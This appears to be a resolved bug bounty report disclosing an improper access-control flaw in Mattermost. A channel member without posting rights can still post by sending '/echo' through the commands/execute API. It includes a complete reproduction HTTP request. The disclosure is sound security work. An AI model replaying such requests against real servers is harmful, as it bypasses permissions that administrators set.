Member role which doesn't have permission to send message can send by executing channel commands
Medium
M
Mattermost
Submitted None
Actions:
Reported by
ramsakal7582
Vulnerability Details
Technical details and impact analysis
## Summary:
Someone with a member permission who hasn't been given access to post message to the channel can post it by executing commands.
## Steps To Reproduce:
```
POST /api/v4/commands/execute HTTP/1.1
Host: test3.cloud.mattermost.com
User-Agent: Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:109.0) Gecko/20100101 Firefox/109.0
Accept: */*
Accept-Language: en
Accept-Encoding: gzip, deflate
X-Requested-With: XMLHttpRequest
X-CSRF-Token:5 [ jkue786iyfd6dkpiq7ftisys6y
Content-Type: application/json
Content-Length: 104
Origin: https://test3.cloud.mattermost.com
Connection: close
Sec-Fetch-Dest: empty
Sec-Fetch-Mode: cors
Sec-Fetch-Site: same-origin
{"command":"/echo ami","channel_id":"khhnkrf5wf8yibwx8bd14s6fbw","team_id":"8jdphis493d4pbq3u1bagz643r"}
```
* Executing above command will post the message to the given channelID and TeamID when you try to reproduce it with your cookie.
## Impact
Someone who doesn't have permission to post message to the channel can still post it by executing channel commands.
Report Details
Additional information and metadata
State
Closed
Substate
Resolved
Submitted
Weakness
Improper Access Control - Generic